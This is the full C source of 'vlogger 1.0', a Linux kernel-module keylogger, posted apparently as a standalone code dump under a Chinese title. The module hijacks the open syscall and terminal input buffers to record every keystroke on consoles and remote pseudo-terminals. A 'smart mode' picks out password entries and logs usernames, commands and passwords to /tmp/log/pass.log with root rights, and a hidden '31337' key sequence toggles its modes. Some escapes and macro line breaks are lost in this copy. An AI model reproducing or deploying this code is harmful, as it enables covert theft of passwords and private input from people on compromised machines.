keyboard logger源代码

/*
 *　vlogger 1.0
 *
 *　Copyright (C) 2002 rd <[email protected]>
 *
 *　Please check http://www.thehackerschoice.com/ for update
 *
 *　This program is free software; you can redistribute it and/or modify
 *　it under the terms of the GNU General Public License as published by
 *　the Free Software Foundation; either version 2 of the License, or
 *　(at your option) any later version
 *
 *　This program is distributed in the hope that it will be useful, but 
 *　WITHOUT ANY WARRANTY; without even the implied warranty of
 *　MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.　See the GNU 
 *　General Public License for more details.
 *
 *　Greets to THC & vnsecurity
 *
 */
#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("[email protected]");
#endif
#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by [email protected]"
#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif
#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"
#define TIMEZONE 7*60*60 // GMT+7
#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // local
#define BACK_SPACE_CHAR2 8 // remote
#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337"  // to switch mode, press MAGIC_PASS and 
　　// VK_TOGLE_CHAR
#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE
#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12
#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start 
　 + (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == 
　 TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + 
　 TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, 
　　　 buf, count)
#define TTY_NAME(tty) (tty->driver.type == 
　TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: 
　tty->driver.type == TTY_DRIVER_TYPE_PTY && 
　tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")
#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }
extern void *sys_call_table[];
int errno;
struct tlogger {
 struct tty_struct *tty;
 char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
 int lastpos;
 int status;
 int pass;
};
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
　 char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);
int vlogger_mode = DEFAULT_MODE;
/* Prototypes */
static inline void init_tty(struct tty_struct *, int);
/*
static char *_tty_make_name(struct tty_struct *tty, 
　　const char *name, char *buf)
{
 int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
 if (!tty) 
　strcpy(buf, "NULL tty");
 else
　sprintf(buf, name,
　 idx + tty->driver.name_base);
 return buf;
}
char *tty_name(struct tty_struct *tty, char *buf)
{
 return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/
#define SECS_PER_HOUR　 (60 * 60)
#define SECS_PER_DAY　　(SECS_PER_HOUR * 24)
#define isleap(year) 
 ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
struct vtm {
 int tm_sec;
 int tm_min;
 int tm_hour;
 int tm_mday;
 int tm_mon;
 int tm_year;
};

/* 
 *　Convert from epoch to date 
 */
 
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
 static const unsigned short int mon_yday[2][13] = {
　　/* Normal years.　*/
　　{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
　　/* Leap years.　*/
　　{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
 };
 long int days, rem, y;
 const unsigned short int *ip;
 days = *t / SECS_PER_DAY;
 rem = *t % SECS_PER_DAY;
 rem += offset;
 while (rem < 0) { 
　rem += SECS_PER_DAY;
　--days;
 }
 while (rem >= SECS_PER_DAY) {
　rem -= SECS_PER_DAY;
　++days;
 }
 tp->tm_hour = rem / SECS_PER_HOUR;
 rem %= SECS_PER_HOUR;
 tp->tm_min = rem / 60;
 tp->tm_sec = rem % 60;
 y = 1970;
 while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
　long int yg = y + days / 365 - (days % 365 < 0);
　days -= ((yg - y) * 365
　 + LEAPS_THRU_END_OF (yg - 1)
　 - LEAPS_THRU_END_OF (y - 1));
　y = yg;
 }
 tp->tm_year = y - 1900;
 if (tp->tm_year != y - 1900)
　return 0;
 ip = mon_yday[isleap(y)];
 for (y = 11; days < (long int) ip[y]; --y)
　continue;
 days -= ip[y];
 tp->tm_mon = y;
 tp->tm_mday = days + 1;
 return 1;
}

/* 
 *　Get current date & time
 */
void get_time (char *date_time) 
{
 struct timeval tv;
 time_t t;
 struct vtm tm;
 
 do_gettimeofday(&tv);
　　　　t = (time_t)tv.tv_sec;
 
 epoch2time(&t, TIMEZONE, &tm);
 sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
　tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
　tm.tm_sec);
}

/* 
 * Get task structure from pgrp id
 */
inline struct task_struct *get_task(pid_t pgrp) 
{
 struct task_struct *task = current;
　　　　do {
　　　　　　　  if (task->pgrp == pgrp) {
　　　　　　　　　　　  return task;
　　　　　　　  }
　　　　　　　  task = task->next_task;
　　　　} while (task != current);
　　　　return NULL;
}

#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)
int write_to_file(char *logfile, char *buf, int size)
{
 int ret = 0;
 struct file　 *f = NULL;
 lock_kernel();
 BEGIN_KMEM;
 f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
 if (IS_ERR(f)) {
　DPRINT("Error %ld opening %sn", -PTR_ERR(f), logfile);
　ret = -1;
 } else {
　if (WRITABLE(f))
　 _write(f, buf, size);
　else {
　　　 　DPRINT("%s does not have a write methodn",
　　　 　 logfile);
　 ret = -1;
　}
　　　 
　if ((ret = filp_close(f,NULL)))
　 DPRINT("Error %d closing %sn", -ret, logfile);
 }
 END_KMEM;
 unlock_kernel();
 return ret;
}

#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }

/* 
 *　Logging keystrokes
 */
void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) 
{
 int i;
 char logfile[256];
 char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
 char date_time[24];
 struct task_struct *task;
 if (vlogger_mode == VK_NORMAL)
　return;
 if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
　return;
　
 task = get_task(tty->pgrp);
　
 for (i=0; i<tmp->lastpos; i++)
　if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;
 if (!cont) 
　tmp->buf[tmp->lastpos++] = 0x0A;
 
 tmp->buf[tmp->lastpos] = 0;
 if (vlogger_mode == VK_DUMBMODE) {
　snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
　　LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
　BEGIN_ROOT
　if (!tmp->status) {
　 get_time(date_time);
　 if (task)
　　snprintf(loginfo, sizeof(loginfo)-1,
　　 "<%s uid=%d %s> %s", date_time,
　　 task->uid, task->comm, tmp->buf);
　 else
　　snprintf(loginfo, sizeof(loginfo)-1,
　　 "<%s> %s", date_time, tmp->buf);
　 
　 write_to_file(logfile, loginfo, strlen(loginfo));
　} else {
　 write_to_file(logfile, tmp->buf, tmp->lastpos);
　}
　END_ROOT
#ifdef DEBUG
　if (task)
　 DPRINT("%s/%d uid=%d %s: %s", 
　　TTY_NAME(tty), TTY_NUMBER(tty), 
　　task->uid, task->comm, tmp->buf);
　else
　 DPRINT("%s", tmp->buf);
#endif
　tmp->status = cont;
　
 } else {
　/*
　 *　Logging USER/CMD and PASS in SMART_MODE
　 */
　BEGIN_ROOT
　if (!tmp->pass) {
　 get_time(date_time);
　 if (task)
　　snprintf(loginfo, sizeof(loginfo)-1,
　　 "n[%s tty=%s/%d uid=%d %s]n"
　　 "USER/CMD %s", date_time, 
　　 TTY_NAME(tty),TTY_NUMBER(tty), 
　　 task->uid, task->comm, tmp->buf);
　 else
　　snprintf(loginfo, sizeof(loginfo)-1,
　　 "n[%s tty=%s/%d]nUSER/CMD %s",
　　 date_time, TTY_NAME(tty), 
　　 TTY_NUMBER(tty), tmp->buf);
　 write_to_file(PASS_LOG, loginfo, strlen(loginfo));
　} else {
　 snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
　　 tmp->buf);
　 write_to_file (PASS_LOG, loginfo, strlen(loginfo));
　}
　END_ROOT
#ifdef DEBUG
　if (!tmp->pass)
　 DPRINT("USER/CMD %s", tmp->buf);
　else
　 DPRINT("PASS %s", tmp->buf);
#endif
 }
 if (!cont) tmp->buf[--tmp->lastpos] = 0;
}

#define resetbuf(t)　
{　　
 t->buf[0] = 0;　
 t->lastpos = 0;　
}
#define append_c(t, s, n) 
{　　
 t->lastpos += n; 
 strncat(t->buf, s, n); 
}
static inline void reset_all_buf(void)
{
 int i = 0;
 for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
　if (ttys[i] != NULL)
　 resetbuf(ttys[i]);
}
void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
　　 switch(count) {
　　 case 2:
　　　　  switch(cp[1]) {
　 case ''':
　　append_c(tmp, "[ALT-']", 7);
　　break;
　 case ',':
　　append_c(tmp, "[ALT-,]", 7);
　　break;
　 case '-':
　　append_c(tmp, "[ALT--]", 7);
　　break;
　 case '.':
　　append_c(tmp, "[ALT-.]", 7);
　　break;
　 case '/':
　　append_c(tmp, "[ALT-/]", 7);
　　break;
　 case '0':
　　append_c(tmp, "[ALT-0]", 7);
　　break;
　 case '1':
　　append_c(tmp, "[ALT-1]", 7);
　　break;
　 case '2':
　　append_c(tmp, "[ALT-2]", 7);
　　break;
　 case '3':
　　append_c(tmp, "[ALT-3]", 7);
　　break;
　 case '4':
　　append_c(tmp, "[ALT-4]", 7);
　　break;
　 case '5':
　　append_c(tmp, "[ALT-5]", 7);
　　break;
　 case '6':
　　append_c(tmp, "[ALT-6]", 7);
　　break;
　 case '7':
　　append_c(tmp, "[ALT-7]", 7);
　　break;
　 case '8':
　　append_c(tmp, "[ALT-8]", 7);
　　break;
　 case '9':
　　append_c(tmp, "[ALT-9]", 7);
　　break;
　 case ';':
　　append_c(tmp, "[ALT-;]", 7);
　　break;
　 case '=':
　　append_c(tmp, "[ALT-=]", 7);
　　break;
　 case '[':
　　append_c(tmp, "[ALT-[]", 7);
　　break;
　 case '\':
　　append_c(tmp, "[ALT-\]", 7);
　　break;
　 case ']':
　　append_c(tmp, "[ALT-]]", 7);
　　break;
　 case '`':
　　append_c(tmp, "[ALT-`]", 7);
　　break;
　 case 'a':
　　append_c(tmp, "[ALT-A]", 7);
　　break;
　 case 'b':
　　append_c(tmp, "[ALT-B]", 7);
　　break;
　 case 'c':
　　append_c(tmp, "[ALT-C]", 7);
　　break;
　 case 'd':
　　append_c(tmp, "[ALT-D]", 7);
　　break;
　 case 'e':
　　append_c(tmp, "[ALT-E]", 7);
　　break;
　 case 'f':
　　append_c(tmp, "[ALT-F]", 7);
　　break;
　 case 'g':
　　append_c(tmp, "[ALT-G]", 7);
　　break;
　 case 'h':
　　append_c(tmp, "[ALT-H]", 7);
　　break;
　 case 'i':
　　append_c(tmp, "[ALT-I]", 7);
　　break;
　 case 'j':
　　append_c(tmp, "[ALT-J]", 7);
　　break;
　 case 'k':
　　append_c(tmp, "[ALT-K]", 7);
　　break;
　 case 'l':
　　append_c(tmp, "[ALT-L]", 7);
　　break;
　 case 'm':
　　append_c(tmp, "[ALT-M]", 7);
　　break;
　 case 'n':
　　append_c(tmp, "[ALT-N]", 7);
　　break;
　 case 'o':
　　append_c(tmp, "[ALT-O]", 7);
　　break;
　 case 'p':
　　append_c(tmp, "[ALT-P]", 7);
　　break;
　 case 'q':
　　append_c(tmp, "[ALT-Q]", 7);
　　break;
　 case 'r':
　　append_c(tmp, "[ALT-R]", 7);
　　break;
　 case 's':
　　append_c(tmp, "[ALT-S]", 7);
　　break;
　 case 't':
　　append_c(tmp, "[ALT-T]", 7);
　　break;
　 case 'u':
　　append_c(tmp, "[ALT-U]", 7);
　　break;
　 case 'v':
　　append_c(tmp, "[ALT-V]", 7);
　　break;
　 case 'x':
　　append_c(tmp, "[ALT-X]", 7);
　　break;
　 case 'y':
　　append_c(tmp, "[ALT-Y]", 7);
　　break;
　 case 'z':
　　append_c(tmp, "[ALT-Z]", 7);
　　break;
　}
　break;
　　 case 3:
　switch(cp[2]) {
　 case 68:
　　// Left: 27 91 68
　　append_c(tmp, "[LEFT]", 6);
　　break;
　 case 67:
　　// Right: 27 91 67
　　append_c(tmp, "[RIGHT]", 7);
　　break;
　 case 65:
　　// Up: 27 91 65
　　append_c(tmp, "[UP]", 4);
　　break;
　 case 66:
　　// Down: 27 91 66
　　append_c(tmp, "[DOWN]", 6);
　　break;
　 case 80:
　　// Pause/Break: 27 91 80 
　　append_c(tmp, "[BREAK]", 7);
　　break;
　}
　break;
　　 case 4:
　switch(cp[3]) {
　 case 65:
　　// F1: 27 91 91 65
　　append_c(tmp, "[F1]", 4);
　　break;
　 case 66:
　　// F2: 27 91 91 66
　　append_c(tmp, "[F2]", 4);
　　break;
　 case 67:
　　// F3: 27 91 91 67
　　append_c(tmp, "[F3]", 4);
　　break;
　 case 68:
　　// F4: 27 91 91 68
　　append_c(tmp, "[F4]", 4);
　　break;
　 case 69:
　　// F5: 27 91 91 69
　　append_c(tmp, "[F5]", 4);
　　break;
　 case 126:
　　switch(cp[2]) {
　　 case 53:
　　　// PgUp: 27 91 53 126
　　　append_c(tmp, "[PgUP]", 6);
　　　break;
　　 case 54:
　　　// PgDown: 27 91 54 126
　　　append_c(tmp, 
　　　 "[PgDOWN]", 8);
　　　break;
　　 case 49:
　　　// Home: 27 91 49 126
　　　append_c(tmp, "[HOME]", 6);
　　　break;
　　 case 52:
　　　// End: 27 91 52 126
　　　append_c(tmp, "[END]", 5);
　　　break;
　　 case 50:
　　　// Insert: 27 91 50 126
　　　append_c(tmp, "[INS]", 5);
　　　break;
　　 case 51:
　　　// Delete: 27 91 51 126
　　　append_c(tmp, "[DEL]", 5);
　　　break;
　　}
　 break;
　}
　break;
　　 case 5:
　if(cp[2] == 50)
　 switch(cp[3]) {
　　case 48:
　　 // F9: 27 91 50 48 126
　　 append_c(tmp, "[F9]", 4);
　　 break;
　　case 49:
　　 // F10: 27 91 50 49 126
　　 append_c(tmp, "[F10]", 5);
　　 break;
　　case 51:
　　 // F11: 27 91 50 51 126
　　 append_c(tmp, "[F11]", 5);
　　 break;
　　case 52:
　　 // F12: 27 91 50 52 126
　　 append_c(tmp, "[F12]", 5);
　　 break;
　　case 53:
　　 // Shift-F1: 27 91 50 53 126
　　 append_c(tmp, "[SH-F1]", 7);
　　 break;
　　case 54:
　　 // Shift-F2: 27 91 50 54 126
　　 append_c(tmp, "[SH-F2]", 7);
　　 break;
　　case 56:
　　 // Shift-F3: 27 91 50 56 126
　　 append_c(tmp, "[SH-F3]", 7);
　　 break;
　　case 57:
　　 // Shift-F4: 27 91 50 57 126
　　 append_c(tmp, "[SH-F4]", 7);
　　 break;
　 }
　else
　 switch(cp[3]) {
　　case 55:
　　 // F6: 27 91 49 55 126
　　 append_c(tmp, "[F6]", 4);
　　 break;
　　　 　case 56:
　　 // F7: 27 91 49 56 126
　　 append_c(tmp, "[F7]", 4);
　　 break;
　　 　　case 57:
　　 // F8: 27 91 49 57 126
　　 append_c(tmp, "[F8]", 4);
　　 break;
　　　 　case 49:
　　 // Shift-F5: 27 91 51 49 126
　　 append_c(tmp, "[SH-F5]", 7);
　　 break;
　　　 　case 50:
　　 // Shift-F6: 27 91 51 50 126
　　 append_c(tmp, "[SH-F6]", 7);
　　 break;
　　 　　case 51:
　　 // Shift-F7: 27 91 51 51 126
　　 append_c(tmp, "[SH-F7]", 7);
　　 break;
　　　 　case 52:
　　 // Shift-F8: 27 91 51 52 126
　　 append_c(tmp, "[SH-F8]", 7);
　　 break;
　 };
　break;
　　 default: // Unknow
　break;
　　}
}

/* 
 *　Called whenever user press a key
 */
void vlogger_process(struct tty_struct *tty, 
　 const unsigned char *cp, int count)
{
 struct tlogger *tmp = ttys[TTY_INDEX(tty)];
 if (!tmp) {
　DPRINT("erm .. unknow error???n");
　init_tty(tty, TTY_INDEX(tty));
　tmp = ttys[TTY_INDEX(tty)];
　if (!tmp)
　 return;
 }
 if (vlogger_mode == VK_SMARTMODE) {
　if (tmp->status && !IS_PASSWD(tty)) {
　 resetbuf(tmp);
　}　
　if (!tmp->pass && IS_PASSWD(tty)) {
　 logging(tty, tmp, 0);
　 resetbuf(tmp);
　}
　if (tmp->pass && !IS_PASSWD(tty)) { 
　 if (!tmp->lastpos)
　　logging(tty, tmp, 0);
　 resetbuf(tmp);
　}
　tmp->pass　= IS_PASSWD(tty);
　tmp->status = 0;
 }
 if ((count + tmp->lastpos) > MAX_BUFFER - 1) { 
　logging(tty, tmp, 1);
　resetbuf(tmp);
 } 
 if (count == 1) {
　if (cp[0] == VK_TOGLE_CHAR) {
　 if (!strcmp(tmp->buf, MAGIC_PASS)) {
　　if(vlogger_mode < 2)
　　 vlogger_mode++;
　　else
　　 vlogger_mode = 0;
　　reset_all_buf();
　　switch(vlogger_mode) {
　　 case VK_DUMBMODE:
　　　　　DPRINT("Dumb Moden");
　　　TTY_WRITE(tty, "rn"
　　　　　"Dumb Moden", 12);
　　　break;
　　 case VK_SMARTMODE:
　　　  　DPRINT("Smart Moden");
　　　TTY_WRITE(tty, "rn"
　　　"Smart Moden", 13);
　　　break;
　　 case VK_NORMAL:
　　　　  DPRINT("Normal Moden");
　　　TTY_WRITE(tty, "rn"
　　　"Normal Moden", 14);
　　}
　 }
　}
　switch (cp[0]) {
　 case 0x01: //^A
　　append_c(tmp, "[^A]", 4);
　　break;
　 case 0x02: //^B
　　append_c(tmp, "[^B]", 4);
　　break;
　 case 0x03: //^C
　　append_c(tmp, "[^C]", 4);
　 case 0x04: //^D
　　append_c(tmp, "[^D]", 4);
　 case 0x0D: //^M
　 case 0x0A:
　　if (vlogger_mode == VK_SMARTMODE) {
　　 if (IS_PASSWD(tty)) {
　　　logging(tty, tmp, 0);
　　　resetbuf(tmp);
　　 } else
　　　tmp->status = 1;
　　} else {
　　 logging(tty, tmp, 0);
　　 resetbuf(tmp);
　　}
　　break;
　 case 0x05: //^E
　　append_c(tmp, "[^E]", 4);
　　break;
　 case 0x06: //^F
　　append_c(tmp, "[^F]", 4);
　　break;
　 case 0x07: //^G
　　append_c(tmp, "[^G]", 4);
　　break;
　 case 0x09: //TAB - ^I
　　append_c(tmp, "[TAB]", 5);
　　break;
　 case 0x0b: //^K
　　append_c(tmp, "[^K]", 4);
　　break;
　 case 0x0c: //^L
　　append_c(tmp, "[^L]", 4);
　　break;
　 case 0x0e: //^E
　　append_c(tmp, "[^E]", 4);
　　break;
　 case 0x0f: //^O
　　append_c(tmp, "[^O]", 4);
　　break;
　 case 0x10: //^P
　　append_c(tmp, "[^P]", 4);
　　break;
　 case 0x11: //^Q
　　append_c(tmp, "[^Q]", 4);
　　break;
　 case 0x12: //^R
　　append_c(tmp, "[^R]", 4);
　　break;
　 case 0x13: //^S
　　append_c(tmp, "[^S]", 4);
　　break;
　 case 0x14: //^T
　　append_c(tmp, "[^T]", 4);
　　break;
　 case 0x15: //CTRL-U
　　resetbuf(tmp);
　　break;　　
　 case 0x16: //^V
　　append_c(tmp, "[^V]", 4);
　　break;
　 case 0x17: //^W
　　append_c(tmp, "[^W]", 4);
　　break;
　 case 0x18: //^X
　　append_c(tmp, "[^X]", 4);
　　break;
　 case 0x19: //^Y
　　append_c(tmp, "[^Y]", 4);
　　break;
　 case 0x1a: //^Z
　　append_c(tmp, "[^Z]", 4);
　　break;
　 case 0x1c: //^
　　append_c(tmp, "[^\]", 4);
　　break;
　 case 0x1d: //^]
　　append_c(tmp, "[^]]", 4);
　　break;
　 case 0x1e: //^^
　　append_c(tmp, "[^^]", 4);
　　break;
　 case 0x1f: //^_
　　append_c(tmp, "[^_]", 4);
　　break;
　 case BACK_SPACE_CHAR1:
　 case BACK_SPACE_CHAR2:
　　if (!tmp->lastpos) break;
　　if (tmp->buf[tmp->lastpos-1] != ']')
　　 tmp->buf[--tmp->lastpos] = 0;
　　else {
　　 append_c(tmp, "[^H]", 4);
　　}
　　break;
　 case ESC_CHAR: //ESC
　　append_c(tmp, "[ESC]", 5);
　　break;
　 default:
　　tmp->buf[tmp->lastpos++] = cp[0];
　　tmp->buf[tmp->lastpos] = 0;
　}
 } else { // a block of chars or special key
　if (cp[0] != ESC_CHAR) {
　 while (count >= MAX_BUFFER) {
　　append_c(tmp, cp, MAX_BUFFER);
　　logging(tty, tmp, 1);
　　resetbuf(tmp);
　　count -= MAX_BUFFER;
　　cp += MAX_BUFFER;
　 }
　 append_c(tmp, cp, count);
　} else  // special key
　 special_key(tmp, cp, count);
 }
}

void my_tty_open(void) 
{
 int fd, i;
 char dev_name[80];
#ifdef LOCAL_ONLY
 int fl = 0;
 struct tty_struct * tty;
 struct file * file;
#endif
 for (i=1; i<MAX_TTY_CON; i++) {
　snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
　BEGIN_KMEM
　 fd = open(dev_name, O_RDONLY, 0);
　 if (fd < 0) continue;
#ifdef LOCAL_ONLY
　 file = fget(fd);
　 tty = file->private_data;
　 if (tty != NULL　&& 
　　tty->ldisc.receive_buf != NULL) {
　　if (!fl) {
　　 old_receive_buf = 
　　　tty->ldisc.receive_buf;
　　 fl = 1;
　　}
　　init_tty(tty, TTY_INDEX(tty));
　 }
　 fput(file);
#endif
　 close(fd);
　END_KMEM
 }
#ifndef LOCAL_ONLY
 for (i=0; i<MAX_PTS_CON; i++) {
　snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
　BEGIN_KMEM
　 fd = open(dev_name, O_RDONLY, 0);
　 if (fd >= 0) close(fd);
　END_KMEM
 }
#endif
}

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
　　　char *fp, int count)
{
 if (!tty->real_raw && !tty->raw) // ignore raw mode
　vlogger_process(tty, cp, count);
 (*old_receive_buf)(tty, cp, fp, count);
}

static inline void init_tty(struct tty_struct *tty, int tty_index)
{
 struct tlogger *tmp;
 DPRINT("Init logging for %s%dn", TTY_NAME(tty), TTY_NUMBER(tty));
 if (ttys[tty_index] == NULL) {
　tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
　if (!tmp) {
　 DPRINT("kmalloc failed!n");
　 return;
　}
　memset(tmp, 0, sizeof(struct tlogger));
　tmp->tty = tty;
　tty->ldisc.receive_buf = new_receive_buf;
　ttys[tty_index] = tmp;
 } else {
　tmp = ttys[tty_index];
　logging(tty, tmp, 1);
　resetbuf(tmp);
　tty->ldisc.receive_buf = new_receive_buf;
 }
}

asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
 int ret;
 static int fl = 0;
 struct file * file;
 
 ret = (*original_sys_open)(filename, flags, mode);
 
 if (ret >= 0) {
　struct tty_struct * tty;
　　 BEGIN_KMEM
　　  lock_kernel();
　file = fget(ret);
　tty = file->private_data;
　if (tty != NULL && 
　 ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
　 TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
　 (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
　 tty->driver.subtype == PTY_TYPE_SLAVE &&
　 TTY_NUMBER(tty) < MAX_PTS_CON)) &&
　 tty->ldisc.receive_buf != NULL &&
　 tty->ldisc.receive_buf != new_receive_buf) {
　 if (!fl) {
　　old_receive_buf = tty->ldisc.receive_buf;
　　fl = 1;
　 }
　 init_tty(tty, TTY_INDEX(tty));
　}
　fput(file);
　unlock_kernel();
　　 END_KMEM
 }
 return ret;
}

int init_module(void)
{
 DPRINT(MVERSION);
#ifndef LOCAL_ONLY
 original_sys_open = sys_call_table[__NR_open];
 sys_call_table[__NR_open] = new_sys_open;
#endif
 my_tty_open();
// MOD_INC_USE_COUNT;
 return 0;
}
DECLARE_WAIT_QUEUE_HEAD(wq);
void cleanup_module(void)
{
 int i;
#ifndef LOCAL_ONLY
 sys_call_table[__NR_open] = original_sys_open;
#endif
 for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
　if (ttys[i] != NULL) {
　 ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
　}
 }
 sleep_on_timeout(&wq, HZ);
 for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
　if (ttys[i] != NULL) {
　 kfree(ttys[i]);
　}
 }
 DPRINT("Unloadedn");
}